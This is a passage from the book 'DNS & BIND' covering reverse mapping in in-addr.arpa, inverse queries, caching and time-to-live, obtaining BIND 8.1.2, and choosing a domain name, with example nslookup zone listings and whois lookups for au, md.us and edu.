Nodes in the in-addr.arpa domain are labelled after the numbers in the dotted-octet representation of IP addresses. (Dotted-octet representation refers to the common method of expressing 32-bit IP addresses as four numbers in the range 0 to 255, separated by dots.) The in-addr.arpa domain, for example, could have up to 256 subdomains, one corresponding to each possible value in the first octet of an IP address. Each of these subdomains could have up to 256 subdomains of its own, corresponding to the possible values of the second octet. Finally, at the fourth level down, there are resource records attached to the final octet giving the full domain name of the host or network at that IP address. That makes for an awfully big domain: in-addr.arpa, shown in Figure 2.14, is roomy enough for every IP address on the Internet.

Figure 2.14: addr.arpa domain

Note that when read in a domain name, the IP address appears backward because the name is read from leaf to root. For example, if winnie.corp.hp.com's IP address is 15.16.192.152, the corresponding in-addr.arpa subdomain is 152.192.16.15.in-addr.arpa, which maps back to the domain name winnie.corp.hp.com.

IP addresses could have been represented the opposite way in the name space, with the first octet of the IP address at the bottom of the in-addr.arpa domain. That way, the IP address would have read correctly (forward) in the domain name.

IP addresses are hierarchical, however, just like domain names. Network numbers are doled out much as domain names are, and administrators can then subnet their address space and further delegate numbering. The difference is that IP addresses get more specific from left to right, while domain names get less specific from left to right. Figure 2.15 shows what we mean.

Figure 2.15: Hierarchical names and addresses

Making the first octets in the IP address appear highest in the tree gives administrators the ability to delegate authority for in-addr.arpa domains along network lines. For example, the 15.in-addr.arpa domain, which contains the reverse mapping information for all hosts whose IP addresses start with 15, can be delegated to the administrators of network 15.0.0.0. This would be impossible if the octets appeared in the opposite order. If the IP addresses were represented the other way around, 15.in-addr.arpa would consist of every host whose IP address ended with 15 - not a practical domain to try to delegate.

2.6.5 Inverse Queries

The in-addr.arpa name space is clearly only useful for IP address-to-domain name mapping. Searching for a domain name that indexes an arbitrary piece of data - something besides an address - in the domain name space would require another specialized name space like in-addr.arpa or an exhaustive search.

That exhaustive search is to some extent possible, and it's called an inverse query. An inverse query is a search for the domain name that indexes a given datum. It's processed solely by the name server receiving the query. That name server searches all of its local data for the item sought and returns the domain name that indexes it, if possible. If it can't find the data, it gives up. No attempt is made to forward the query to another name server.

Because any one name server only knows about part of the overall domain name space, an inverse query is never guaranteed to return an answer. For example, if a name server receives an inverse query for an IP address it knows nothing about, it can't return an answer, but it also doesn't know that the IP address doesn't exist, because it only holds part of the DNS database. What's more, the implementation of inverse queries is optional according to the DNS specification; BIND 4.9.7 still contains the code that implements inverse queries, but it's commented out by default. BIND 8 no longer includes that code at all, though it does recognize inverse queries and can make up fake responses to them.[10] That's fine with us, because very little software (such as archaic versions of nslookup) actually still uses inverse queries.

[10] For details on this functionality, see Section 11.7.4, "Query Refused".

Previous: 2.5 Resolvers | DNS & BIND | Next: 2.7 Caching
2.5 Resolvers | Book Index | 2.7 Caching


[Chapter 2] 2.7 Caching

DNS & BIND

DNS & BINDSearch this book
Previous: 2.6 Resolution Chapter 2
How Does DNS Work? 		Next: 3. Where Do I Start?

2.7 Caching

The whole resolution process may seem awfully convoluted and cumbersome to someone accustomed to simple searches through the host table. Actually, it's usually quite fast. One of the features that speeds it up considerably is caching.

A name server processing a recursive query may have to send out quite a few queries to find an answer. However, it discovers a lot of information about the domain name space as it does so. Each time it's referred to another list of name servers, it learns that those name servers are authoritative for some zone, and it learns the addresses of those servers. And, at the end of the resolution process, when it finally finds the data the original querier sought, it can store that data for future reference, too. With version 4.9 and all version 8 BINDs, name servers even implement negative caching: if an authoritative name server responds to a query with an answer that says the domain name or data type in the query doesn't exist, the local name server will temporarily cache that information, too. Name servers cache all of this data to help speed up successive queries. The next time a resolver queries the name server for data about a domain name the name server knows something about, the process is shortened quite a bit. The name server may have cached the answer, positive or negative, in which case it simply returns the answer to the resolver. Even if it doesn't have the answer cached, it may have learned the identities of the name servers that are authoritative for the zone the domain name is in and be able to query them directly.

For example, say our name server has already looked up the address of eecs.berkeley.edu. In the process, it cached the names and addresses of the eecs.berkeley.edu and berkeley.edu name servers (plus eecs.berkeley.edu's IP address). Now if a resolver were to query our name server for the address of baobab.cs.berkeley.edu, our name server could skip querying the root name servers. Recognizing that berkeley.edu is the closest ancestor of baobab.cs.berkeley.edu that it knows about, our name server would start by querying a berkeley.edu name server, as shown in Figure 2.16. On the other hand, if our name server had discovered that there was no address for eecs.berkeley.edu, the next time it received a query for the address, it could simply have responded appropriately from its cache.

Figure 2.16: Resolving baobab.cs.berkeley.edu

In addition to speeding up resolution, caching prevents us from having to query the root name servers again. This means that we're not as dependent on the roots, and they won't suffer as much from all our queries.

2.7.1 Time to Live

Name servers can't cache data forever, of course. If they did, changes to that data on the authoritative name servers would never reach the rest of the network. Remote name servers would just continue to use cached data. Consequently, the administrator of the zone that contains the data decides on a time to live, or TTL, for the data. The time to live is the amount of time that any name server is allowed to cache the data. After the time to live expires, the name server must discard the cached data and get new data from the authoritative name servers. This also applies to negatively cached data; a name server must time out a negative answer after a period, too, in case new data has been added on the authoritative name servers. However, the time to live for negatively cached data isn't tunable by the domain administrator; it's hardcoded to ten minutes.

Deciding on a time to live for your data is essentially deciding on a trade-off between performance and consistency. A small TTL will help ensure that data about your domain is consistent across the network, because remote name servers will time it out more quickly and be forced to query your authoritative name servers more often for new data. On the other hand, this will increase the load on your name servers and lengthen resolution time for information in your domain, on the average.

A large TTL will shorten the average time it takes to resolve information in your domain because the data can be cached longer. The drawback is that your information will be inconsistent for a longer time if you make changes to your data on your name servers.

Enough of this theory - I'll bet you're antsy to get on with this. There's some homework necessary before you can set up your domain and your name servers, though, and we'll assign it in the next chapter.

Previous: 2.6 Resolution | DNS & BIND | Next: 3. Where Do I Start?
2.6 Resolution | Book Index | 3. Where Do I Start?


[Chapter 3] Where Do I Start?

DNS & BIND

DNS & BINDSearch this book
Previous: 2.7 Caching Chapter 3 Next: 3.2 Choosing a Domain Name

3. Where Do I Start?

Contents:
Getting BIND
Choosing a Domain Name

"What do you call yourself?" the Fawn said at last. Such a soft sweet voice it had!

"I wish I knew!" thought poor Alice. She answered, rather sadly, "Nothing, just now."

"Think again," it said: "that won't do."

Alice thought, but nothing came of it. "Please, would you tell me what you call yourself?" she said timidly. "I think that might help a little."

"I'll tell you, if you come a little further on," the Fawn said. "I can't remember here."

Now that you understand the theory behind the Domain Name System, we can attend to more practical matters. Before you set up a domain, you may need to get the BIND software. Usually, it's included as a standard part of most UNIX-based operating systems. Occasionally, however, you'll need to seek out a version for a more obscure operating system, or you'll want the current version with all the latest functionality.

Once you've got BIND, you need to decide on a domain name - which may not be quite as easy as it sounds, because it entails finding an appropriate parent domain in the Internet name space. That decided, you need to contact the administrators of the parent domain of the domain name you've chosen.

One thing at a time, though. Let's talk about where to get BIND.

3.1 Getting BIND

If you plan to set up your own domain and run name servers for it, you'll need the BIND software first. Even if you're planning on having someone else run your domain, it's helpful to have the software around. For example, you can use your local name server to test your data files before giving them to your remote domain administrator.

Most commercial UNIX vendors ship BIND with the rest of their standard TCP/IP networking software. And, quite often, the networking software is included with the operating system, so you get BIND free. Even if the networking software is priced separately, you've probably already bought it, since you clearly do enough networking to need DNS, right?

If you don't have a version of BIND for your flavor of UNIX, though, or if you want the latest, greatest version, you can always get the source code. As luck would have it, it's freely distributed. The most up-to-date BIND source, as of this writing (the BIND 8.1.2 release), is available on the web at the Internet Software Consortium's web site, http://www.isc.org/, or via anonymous ftp from ftp.isc.org in /isc/bind/src/cur/bind-8/bind-src.tar.gz. Compiling it on most common UNIX platforms should be relatively straightforward. The ISC includes sample definitions in the top-level Makefile for most common versions of UNIX, including HP-UX, Irix, AIX, Solaris, and SunOS. We include instructions on compiling BIND 8.1.2 on Solaris 2.x as Appendix B, Compiling and Installing BIND on a Sun.

Some of you may already have a version of BIND that comes with your operating system, but you're wondering whether you really need the latest, greatest version of BIND. What does it have to offer that earlier versions of BIND don't? Here's an overview:

Security patches

Arguably the most important reason to run the newest BIND is that only the most recent version is patched against most name server attacks, some of them widely known. BIND 8.1.2 is resistant to a variety of these attacks, while BIND 4.9.7 can withstand an important subset of them. Earlier versions of BIND have many well-known vulnerabilities. If you're running a name server on the Internet, we strongly recommend you run BIND 8.1.2 or at least BIND 4.9.7, or whatever the current released version is as you read this.

Security features

BIND 8.1.2 supports access lists on queries, zone transfers, and dynamic updates. BIND 4.9 servers supported access lists on queries and zone transfers. Earlier versions of BIND didn't support access lists at all. Certain name servers, particularly those running on bastion hosts or other security-critical hosts, may require these features.

We cover these features in Chapter 10, Advanced Features and Security.

DNS UPDATE

BIND 8.1.2 supports the Dynamic Update standard described in RFC 2136. This allows authorized agents to update zone data by sending special update messages to add or delete resource records. BIND 4 servers don't support Dynamic Update.

We cover Dynamic Update in Chapter 10.

DNS NOTIFY

BIND 8.1.2 supports zone change notification, which allows the primary master name server for a zone to notify the zone's slaves when the serial number has incremented. BIND 4 servers don't support NOTIFY.

We describe NOTIFY in Chapter 10.

Configuration syntax

BIND 8's configuration syntax is completely different from BIND 4's. While the new configuration syntax is more flexible and more powerful, it will also require learning a brand-new system for configuring BIND. But then, you have this book to help you through that.

We introduce the BIND 8 configuration syntax in Chapter 4, Setting Up BIND, and describe it throughout the rest of the book.

If, after reading through this list, you're convinced you need BIND 8's features, and a BIND 8 server doesn't come with your operating system, download the source code and build your own.

3.1.1 Handy Mailing Lists and Usenet Newsgroups

Instructions on how to port BIND to every other version of UNIX could consume another book this size, so we'll have to refer you to the BIND users mailing list, bind-users@vix.com, or the corresponding Usenet newsgroup, comp.protocols.dns.bind, for further help.[1] The bind-workers mailing list, bind-workers@vix.com, used by folks testing the new versions of BIND 8 code, is also an excellent place to turn. The folks who read and contribute to the BIND lists can be enormously helpful in your porting efforts. Be sure to ask whether the port you're after has already been done - you may be pleasantly surprised. Also, take a look at the BIND 8 errata page at http://www.isc.org/bind8/errata/ for notes specific to your operating system, and check Andras Salamon's DNS Resource Directory for pre-compiled BIND software. The directory currently has a short list of pre-compiled binaries at http://www.dns.net/dnsrd/bind.html.

[1] To ask a question on an Internet mailing list, all you need to do is send a message to the mailing list's address. If you'd like to join the list, however, you have to send a message to the list's maintainer first, requesting him or her to add your electronic mail address to the list. Don't send this request to the list itself - that's considered rude. The Internet convention is that you can reach the maintainer of a mailing list by sending mail to list-request@domain, where list@domain is the address of the mailing list. So, for example, you can reach the BIND workers mailing list's administrator by sending mail to bind-workers-request@vix.com.

Another mailing list you might be interested in is the namedroppers list. Folks on the namedroppers mailing list usually discuss DNS issues, rather than BIND-specific problems. For example, a discussion of extensions to the DNS protocol or proposed DNS record types would probably take place on namedroppers instead of the BIND mailing list. Avoid sending the same message to more than one of these mailing lists; many people are on more than one.

The address for the namedroppers mailing list is namedroppers@internic.net, and it is gatewayed into the Internet newsgroup comp.protocols.tcp-ip.domains. To join the namedroppers mailing list, send mail to majordomo@internic.net with the text "subscribe namedroppers" as the body of the message. The InterNIC also provides a web-based front end for subscribing at http://rs.internic.net/cgi-bin/lwgate/NAMEDROPPERS/.

3.1.2 Finding IP Addresses

You'll notice we gave you a number of domain names of hosts that have ftpable software, and the mailing lists we mentioned include domain names. That should underscore the importance of DNS: see what valuable software and advice you can get with the help of DNS? Unfortunately, it's also something of a chicken-and-egg problem. You can't send email to an address with a domain name in it unless you've got DNS set up, so how can you ask someone on the list how to set DNS up?

Well, we could give you the IP addresses for all the hosts we mentioned, but since IP addresses change often (in publishing timescales, anyway), we'll show you how you can temporarily use someone else's name server to find the information instead. As long as your host has Internet connectivity and the nslookup program, you can retrieve information from the Internet name space. To look up the IP address for ftp.isc.org, for example, you could use:

% nslookup ftp.isc.org. 207.69.188.185

This instructs nslookup to query the name server running on the host at IP address 207.69.188.185 to find the IP address for ftp.isc.org, and should produce output like:

Server:  ns1.mindspring.com
Address:  207.69.188.185

Name:    pub1.pa.vix.com
Address: 204.152.184.33
Aliases:  ftp.isc.org

Now you can ftp to ftp.isc.org's IP address, 204.152.184.33.

How did we know that the host at IP address 207.69.188.185 runs a name server? Our ISP, Mindspring, told us - it's one of their name servers. If your ISP provides name servers for its customers' use (and most do), use one of them. If your ISP doesn't provide name servers (shame on them!), you can temporarily use one of the name servers listed in this book. As long as you only use it to look up a few IP addresses or other data, the administrators probably won't mind. It's considered very rude, however, to point your resolver or query tool at someone else's name server permanently.

Of course, if you already have access to a host with Internet connectivity and DNS configured, you can use it to ftp the stuff you need.

Once you've got a working version of BIND, you're ready to start thinking about your domain name.

Previous: 2.7 Caching | DNS & BIND | Next: 3.2 Choosing a Domain Name
2.7 Caching | Book Index | 3.2 Choosing a Domain Name


[Chapter 3] 3.2 Choosing a Domain Name

DNS & BIND

DNS & BINDSearch this book
Previous: 3.1 Getting BIND Chapter 3
Where Do I Start? 		Next: 4. Setting Up BIND

3.2 Choosing a Domain Name

Choosing a domain name is more involved than it may sound, because it entails both choosing a name and finding a parent. In other words, you need to find out where you fit in the Internet domain name space, and decide what you'd like to call your particular corner of that name space.

The first step in picking a domain name is finding where in the existing domain name space you belong. It's easiest to start at the top and work your way down: decide which top-level domain you belong in, then which of that top-level domain's subdomains you fit into.

Note that in order to find out what the Internet domain name space looks like (beyond what we've already told you), you'll need access to the Internet. You don't need access to a host that already has Domain Name Service configured, but it would help a little. If you don't have access to a host with DNS configured, you'll have to "borrow" name service from other name servers (as in our previous ftp.isc.org example) to get you going.

3.2.1 Where in the World Do I Fit?

If your organization is attached to the Internet outside of the United States, you first need to decide whether you'd rather request a domain under the generic top-level domains, like com and edu, or under your country's top-level domain. The generic top-level domains, even though some are used largely by U.S. organizations, aren't exclusively for U.S. organizations. If your company is a multi- or transnational company, you may wish to join a generic top-level domain, or if you'd simply prefer a generic top-level to your country's top-level domain, you're welcome to ask to join one. If you choose this route, skip to the section Section 3.2.2.2, "The generic top-level domains" later in this chapter.

If you opt for a subdomain under your country's top level, you should check whether your country's top-level domain is registered, and if it is, what kind of structure it has. Consult our list of the current top-level domains (Appendix C, Top-Level Domains) if you're not sure what the name of your country's top-level domain would be.

Some countries' top-level domains, like New Zealand's nz, Australia's au, and the United Kingdom's uk, are divided organizationally into second-level domains. The names of their second-level domains, like co or com for commercial entities, reflect organizational affiliation. Others, like France's fr domain, and Canada's ca domain, are divided into a multitude of subdomains managed by individual universities and companies, like the University of St. Etienne's domain, univ-st-etienne.fr and Bell Northern Research's bnr.ca. You'll have to use a tool like nslookup to grope around and discover your top-level domain's structure if it isn't well-known. (If you're uncomfortable with our rushing headlong into nslookup without giving it a proper introduction, you might skim Chapter 11, nslookup.) For example, here's how you could list the au domain's subdomains using nslookup:

% nslookup - 207.69.188.185    - Use the name server at 207.69.188.185
Default Server:  ns1.mindspring.com
Address:  207.69.188.185

> set type=ns                  - Find the name servers (ns)
> au.                          - for the au domain
Server:  ns1.mindspring.com
Address: 207.69.188.185

au      nameserver = MUNNARI.OZ.AU
au      nameserver = MULGA.CS.MU.OZ.AU
au      nameserver = JATZ.AARNET.EDU.AU
au      nameserver = NS.UU.NET
au      nameserver = NS.EU.NET
au      nameserver = NS1.BERKELEY.EDU
au      nameserver = NS2.BERKELEY.EDU
au      nameserver = VANGOGH.CS.BERKELEY.EDU
MUNNARI.OZ.AU     internet address = 128.250.1.21
MUNNARI.OZ.AU     internet address = 128.250.22.2
MULGA.CS.MU.OZ.AU       internet address = 128.250.1.22
MULGA.CS.MU.OZ.AU       internet address = 128.250.37.150
JATZ.AARNET.EDU.AU      internet address = 139.130.204.4
NS.UU.NET         internet address = 137.39.1.3
NS.EU.NET         internet address = 192.16.202.11
NS1.BERKELEY.EDU  internet address = 128.32.136.9
NS1.BERKELEY.EDU  internet address = 128.32.206.9
NS2.BERKELEY.EDU        internet address = 128.32.136.12
NS2.BERKELEY.EDU        internet address = 128.32.206.12

> server ns1.berkeley.edu.        - Now query one of these name servers - preferably a close one!
Default Server:  ns1.berkeley.edu
Addresses:  128.32.136.9, 128.32.206.9

> ls au.  - List the au
zone
          - the zone's NS records mark delegation to
          - subdomains and will give
          - you the names of the subdomains
          - Note that not all name servers will allow you to list zones, for security reasons.
 [ns1.berkeley.edu]
          3D IN SOA      munnari.OZ hostmaster.munnari.OZ (
                  1998051400      ; serial
                  6H              ; refresh
                  1H              ; retry
                  23w5d16h        ; expire
                      3D )        ; minimum

              3D IN NS                        munnari.OZ
              3D IN NS                        mulga.cs.mu.OZ
              3D IN NS                        vangogh.CS.Berkeley.EDU.
              3D IN NS                        ns1.Berkeley.EDU.
              3D IN NS                        ns2.Berkeley.EDU.
              3D IN NS                        ns.UU.NET.
              3D IN NS                        ns.eu.NET.
ORG           1D IN NS                        yalumba.connect.COM
yalumba.connect.COM      1D IN A                 203.8.183.1
ORG           1D IN NS                        mulga.cs.mu.OZ
mulga.cs.mu.OZ           1D IN A                 128.250.1.22
              1D IN A                         128.250.37.150
ORG           1D IN NS                        rip.psg.COM.
              1D IN NS                        munnari.OZ
munnari.OZ               1D IN A                 128.250.1.21
              1D IN A                         128.250.22.2
info          1D IN NS                        ns.telstra.net.
              1D IN NS                        ns1.telstra.net.
              1D IN NS                        munnari.oz
munnari.oz               1D IN A                 128.250.1.21
              1D IN A                         128.250.22.2
info                     1D IN NS                svc01.apnic.net.
a             3D IN A                         139.130.23.2
otc           4H IN NS                        ns.telstra.com
ns.telstra.com           4H IN A                 192.148.160.10
otc           4H IN NS                        ns2.telstra.com
ns2.telstra.com          4H IN A                 192.148.160.11
otc           4H IN NS                        munnari.oz
munnari.oz               1D IN A                 128.250.1.21
              1D IN A                         128.250.22.2
CSIRO                    1D IN NS                steps.its.CSIRO
steps.its.CSIRO          1D IN A                 152.83.8.3
CSIRO                    1D IN NS                munnari.OZ
munnari.OZ               1D IN A                 128.250.1.21
                         1D IN A                 128.250.22.2
CSIRO                    1D IN NS                manta.vic.cmis.CSIRO
manta.vic.cmis.CSIRO     1D IN A                 144.110.16.100
CSIRO                    1D IN NS                dmssyd.nsw.cmis.CSIRO
dmssyd.nsw.cmis.CSIRO    1D IN A                 130.155.16.1
CSIRO                    1D IN NS                zoiks.per.its.CSIRO
zoiks.per.its.CSIRO      1D IN A                 192.245.210.1
[]

> ^D

The basic technique we used is straightforward: look up the list of authoritative name servers for the top-level domain - because they're the only ones with complete information about the corresponding zone - then connect to one of those name servers, and list the name servers for the second-level domains.

If you can't tell from the names of the subdomains which one you belong in, you can look up the contact information for the corresponding zone and send email to the technical contact asking, politely, for advice. Similarly, if you think you should be part of an existing subdomain but aren't sure, you can always ask the folks who administer that subdomain to double-check.

To find out who to ask about a subdomain, you'll have to look up the corresponding zone's SOA record. In each zone's start of authority (SOA) record, there's a field that contains the electronic mail address of the zone's technical contact.[2](The other fields in the start of authority record provide general information about a zone - we'll discuss them in more detail later.) You can look up the zone's SOA record with nslookup, too.

[2] The subdomain and the zone have the same domain name, but the SOA record really belongs to the zone, not the subdomain. The person at the zone's technical contact email address may not manage the whole subdomain (there may be additional delegated subdomains beneath), but he should certainly know what the purpose of the subdomain is.

If you're curious about the purpose of the csiro subdomain, you can find out who runs it by looking up csiro.au's SOA record:

% nslookup - 207.69.188.185
Default Server:  ns1.mindspring.com
Address:  207.69.188.185

> set type=soa     - Look for start of authority data
> csiro.au.        - for csiro.au
Server:  ns1.mindspring.com
Address: 207.69.188.185

csiro.au
        origin = steps.its.csiro.au
        mail addr = hostmaster.csiro.au
        serial = 1997122201
        refresh = 10800 (3 hours)
        retry   = 3600 (1 hour)
        expire  = 3600000 (41 days 16 hours)
        minimum ttl = 86400 (1 day)

The mail addr field is the Internet address of csiro.au's contact. To use the address with most UNIX mailers, you'll need to change the first "." in the address to a "@". So hostmaster.csiro.au becomes hostmaster@csiro.au.[3]

[3] This form of Internet mail address is a vestige of two former DNS records, MB and MG. MB (mailbox) and MG (mail group) were to be DNS records specifying Internet mailboxes and mail groups (mailing lists) as subdomains of the appropriate domain. MB and MG never took off, but the address format they would have dictated is used in the SOA record, maybe for sentimental reasons.

3.2.1.1 whois

The whois service can also help you figure out what a given domain is for. Many vendors ship a simple whois client that queries a database on a host at the InterNIC (or on another host that you specify) for information about domains, networks, and the people that run them. For example:

% whois bob
will turn up every match for bob in the database, including people, networks and domains. To restrict the search to domains or networks, you can use the keywords dom or net, respectively:
% whois dom foo # print information on all domains that match foo
% whois -h whois.arin.net. net 17  # print information on network 17
If your copy of whois is outdated, it'll probably try to query the InterNIC's database on an old host, like sri-nic.arpa or nic.ddn.mil. That'll produce either a pleasant message from the InterNIC staff or a gruff error like this:
sri-nic.arpa: Unknown host
If this happens and you have access to the source code and a compiler, just recompile whois to query whois.internic.net. If you don't have the source, you can still direct whois to use whois.internic.net from the command line with the -h option, as in:
% whois -h whois.internic.net dom au
If you don't have a whois client, or would prefer a friendlier interface, you can use the InterNIC's whois web page, at http://rs.internic.net/cgi-bin/whois/. This gives you an HTML forms-based interface for querying the InterNIC's database.

Unfortunately, the InterNIC's whois database only lists contacts for top-level country domains and subdomains of generic top-level domains, so you won't find csiro.au. Still, you can use it to find the administrative contact for au.

Click on search, and you'll see a screen like Figure 3.1.[4]

[4] Believe it or not, when we did this for the first edition of this book, there was only one match.

Figure 3.1: The InterNIC's web-based whois interface

Figure 3.1

If we scroll down a little, we find "Australia top-level domain," which is what we're after. If you click on the hypertext link labeled "AU-DOM" on that line, you'll see a screen like Figure 3.2, which tells us to talk to Robert Elz about the top-level au domain.

Figure 3.2: Results of an InterNIC whois search

Figure 3.2

To get csiro.au contact information on the web, you'd need to query the Australian NIC. Is there such a thing? You can check http://www.allwhois.com/, shown in Figure 3.3 to find out. Click on "Australia" in the left-hand frame, and you'll see a screen like the one shown in Figure 3.4.

Figure 3.3: Detailed results of an InterNIC whois search

Figure 3.3

Figure 3.4: www.allwhois.com

Figure 3.4

Click on "Whois" to take you to a forms front-end that will let you query the AUNIC's (Australian NIC's) database.

Obviously, this is a very useful web site if you're looking for the contact for a domain outside of the U.S.

3.2.2 Elsewhere in the World

In true cosmopolitan spirit, we covered international domains first. But what if you're from the good ol' U.S. of A.?

If you're in the U.S., where you belong depends mainly upon how many hosts you have. If you only have one or two, or maybe a handful of hosts you'd like registered in the Internet's domain name space, you can join the us domain. The us domain registers individual hosts under third-level domains largely named after cities; the second-level domains correspond to the appropriate U.S. Postal Service two-letter state abbreviation (recall our discussion in the section called "The Internet Domain Name Space" in Chapter 2, How Does DNS Work?). So, for example, if all you need is to register the two internetworked hosts in your basement in Colorado Springs, Colorado, you can just have them added to the colospgs.co.us domain.

You can even get your own domain to manage, thanks to a change in policy by the administrators of the us domain. Originally, the us domain was purely geographical. The us domain administrators added address and mail handling information for your host(s) (more on this in the next two chapters - be patient), but not name server information. In other words, they wouldn't delegate a portion of their domain to you. Nowadays, they encourage U.S. schools, governments, and companies to join the us domain. If you're interested in the details, check out RFC 1480, available from ftp://ftp.ds.internic.net/rfc/rfc1480.txt, or see the information on the us domain on ISI's web site, at http://www.isi.edu/in-notes/usdnr/.

You can also ask for a subdomain of one of the generic top-level domains, like edu and com. As long as you don't ask for an overly long subdomain name (the InterNIC recommends 12 letters or fewer), or one that's already taken, you should get the one you ask for. We'll cover membership under the generic top-levels later in this chapter.

3.2.2.1 The us domain

Let's go through an example to give you an idea of how to comb the us domain name space for the perfect domain name. Say you live in Rockville, Maryland, and you want to register the UNIX workstation you just bought out of the back of a truck (hey, it could happen). You're not directly connected to the Internet, but you do have a UUCP connection to UMD in College Park.

Since you only need to have a single host registered, you really don't need your own domain to manage. You just need to have your host registered in the Internet domain name space somewhere. The us top-level domain is the one for you. Letting someone else take care of the name server and domain administration will save you a lot of administrative effort.

Using an account you still have on a host at UMD (from your undergrad days), you can check to see whether a domain for Maryland exists. (If you didn't have an account there, but you did have Internet connectivity, you could still use nslookup to query a well-known name server.)

% nslookup
Default Server:  noc.umd.edu
Address: 128.8.5.2

> set type=ns            - Look up the name servers
> md.us.                 - for md.us
Server:  noc.umd.edu
Address:  128.8.5.2

md.us   nameserver = NS.UU.NET
md.us   nameserver = ADMII.ARL.MIL
md.us   nameserver = EXCALIBUR.USC.EDU
md.us   nameserver = VGR.ARL.MIL
md.us   nameserver = TRANTOR.UMD.EDU
md.us   nameserver = MX.NSI.NASA.GOV
md.us   nameserver = VENERA.ISI.EDU
md.us   nameserver = NS.ISI.EDU
md.us   nameserver = RS0.INTERNIC.NET

Sure enough, there's a domain for Maryland. Now change servers to a md.us name server, say venera.isi.edu, and check to see if there are any subdomains (you haven't exited out of nslookup yet):

> server venera.isi.edu.   - Change server to venera.isi.edu
Default Server:  venera.isi.edu
Address:  128.9.0.32

> ls md.us.     - List the md.us zone to look for NS record
[venera.isi.edu]
              1D IN SOA     VENERA.ISI.EDU. us-domain.ISI.EDU. (
                      980112          ; serial
                      12H             ; refresh
                      1H              ; retry
                      2W              ; expire
                      1D )            ; minimum

              1W IN NS     RS0.INTERNIC.NET.
              1W IN NS     NS.UU.NET.
              1W IN NS     ADMII.ARL.MIL.
              1W IN NS     EXCALIBUR.USC.EDU.
              1W IN NS     VGR.ARL.MIL.
              1W IN NS     TRANTOR.UMD.EDU.
              1W IN NS     MX.NSI.NASA.GOV.
              1W IN NS     VENERA.ISI.EDU.
              1W IN N      NS.ISI.EDU.
north-laurel.md.us.    1D IN NS     top2.domainregistry.net.
              1D IN NS     top.domainregistry.net.
              1D IN NS     primary.southern-domains.com.
fruitland.md.us.       1D IN NS     top2.domainregistry.net.
              1D IN NS     top.domainregistry.net.
              1D IN NS     primary.southern-domains.com.
frostburg.md.us.       1D IN NS     winnt.i-theta.com.
              1D IN NS     ns2.us-domains.com.
              1D IN NS     ns.manchester.mo.us.
creativedesign.college.md.us.   1W IN NS     ns.webindonesia.com.
              1W IN NS     ns2.webindonesia.com.
carroll.md.us.         1W IN NS     auth00.ns.uu.net.
              1W IN NS     auth50.ns.uu.net.
oxon-hill.md.us.       1D IN NS     winnt.i-theta.com.
              1D IN NS     ns2.us-domains.com.
              1D IN NS     ns.manchester.mo.us.
 [...]

Aha! So there is life in Maryland! There are subdomains called aa, adelphi, al, allegany, and many others. But there doesn't seem to be a domain for Rockville. No matter - you may be the first host in Rockville to want to register under the md.us domain. Or perhaps this naming scheme is based on county names, and Rockville would fit under its county name. Either way, the administrators of md.us can find a home for you. Since your domain name will just be part of the md.us zone, it won't require very much work for them - there's no need to set up separate servers.

What to call the new subdomain, if you need a new one? rockville.md.us? rock.md.us? Turns out there's a convention in the us domain that city-level domains be named after the appropriate Western Union "City Mnemonic." (Don't worry: the us administrators have a copy.) The alternative is to use the full name of the city.

Actually, with any parent domain, it's possible that the administrators of the domain will have strong feelings about the names of their child domains (just as your parents probably had strong feelings about naming you). They may want to preserve the consistency of their name space. We think it's polite to defer to your parent if they feel strongly about naming - after all, they could simply refuse to let you join the domain. You still get to choose the name of your host, after all.

How do you find out how to contact your parent domain's administrator? You can try whois, but since md.us isn't a top-level country domain or part of a generic top-level domain, you probably won't find much. Your best bet is probably to use nslookup to find the SOA record for the md.us zone, just as you did to find out whom to ask about csiro.au. Though the person or persons who read mail sent to the address in the SOA record may not handle registration themselves (technical and administrative functions for the zone may be divided), it's a good bet they know the folks who do and can direct you to them.

Here's how you'd use nslookup to dig up the SOA record for md.us:

% nslookup
Default Server:  noc.umd.edu
Address:  128.8.5.2

> set type=soa     - Look up SOA record
> md.us.           - for md.us
Server:  noc.umd.edu
Address:  128.8.5.2

md.us
        origin = VENERA.ISI.EDU
        mail addr = us-domain.ISI.EDU
        serial = 971109
        refresh = 43200 (12 hours)
        retry   = 3600 (1 hour)
        expire  = 1209600 (14 days)
        minimum ttl = 86400 (1 day)

As in the csiro.au example, you need to swap the first "." in the mail addr field for an "@" before you use it. Thus, us-domain.ISI.EDU becomes us-domain@ISI.EDU.

3.2.2.2 The generic top-level domains

As we said, there are many reasons that you might want to ask for a subdomain of one of the generic top-level domains, like com, edu, and org: you work for a multi- or transnational company, you like the fact that they're better-known, or you just like the sound of your domain name better with "com" on the end. Let's go through a short example of choosing a domain name under a gTLD.

Imagine you're the student administrator of a small university network in Hopkins, Minnesota. You've just gotten a grant for Internet connectivity, and are about to be connected to your regional network, MRNet. Your university has never had so much as a UUCP link, so you're not currently registered in the Internet name space.

Since you're in the United States, you have the choice of joining either us or edu. You've already got over a dozen computers on your local network, though, and you expect more, so us wouldn't be a good choice. A subdomain of edu would be best.

Your university is known as The Gizmonics Institute, so you decide gizmo.edu might be an appropriate domain name. Now you've got to check if the name gizmo.edu has been taken by anyone, so you use an account you have at UMN:

% nslookup
Default Server:  ns.unet.umn.edu
Address:  128.101.101.101

> set type=any     - Look for any records
> gizmo.edu.       - for gizmo.edu
Server:  ns.unet.umn.edu
Address:  128.101.101.101

*** ns.unet.umn.edu can't find gizmo.edu.: Non-existent domain

Looks like there's no gizmo.edu yet (hardly surprising), so you can go on to the next step: finding out who runs your intended parent domain. You use whois:

% whois dom edu
Education top-level domain (EDU-DOM)
   Network Solutions, Inc.
   505 Huntmar Park Dr.
   Herndon, VA  22070

   Domain Name: EDU

   Administrative Contact, Technical Contact, Zone Contact:
      Network Solutions, Inc.  (HOSTMASTER)  HOSTMASTER@INTERNIC.NET
      (703) 742-4777 (FAX) (703) 742-9552

   Record last updated on 17-Jan-97.
    Record created on 01-Jan-85.
    Database last updated on 25-Dec-97 05:33:33 EDT.

.

   Domain servers in listed order:

   [...]

3.2.3 Checking That Your Network Is Registered

Before proceeding, you should check whether or not your IP network or networks are registered. Many parent domains won't delegate a subdomain to name servers on unregistered networks, and registries won't delegate an in-addr.arpa subdomain that corresponds to an unregistered network.

An IP network defines a range of IP addresses. For example, the network 15/8 is made up of all IP addresses in the range 15.0.0.0 to 15.255.255.255. The network 199.10.25/24 starts at 199.10.25.0 and ends at 199.10.25.255.

A Sidebar on CIDR

